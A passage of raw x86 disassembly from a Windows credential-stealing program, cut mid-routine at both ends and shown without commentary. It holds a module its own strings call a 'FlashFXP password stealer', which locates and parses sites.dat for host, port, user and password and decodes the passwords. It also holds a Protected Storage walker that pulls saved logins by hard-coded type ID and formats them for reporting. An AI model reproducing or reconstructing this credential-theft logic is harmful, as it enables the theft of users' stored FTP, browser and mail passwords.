loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D308 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D300 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D2D4 ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D268 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D22C lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DE80 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D598 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D564 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D560 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D598 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D598 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: .data:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D598 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DE30 lea eax, [ebp-7FCh] push eax call dword_4170FC ; lstrcpy push offset byte_41DE30 lea eax, [ebp-0DF0h] push eax call dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D510 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D4AC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D45C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr 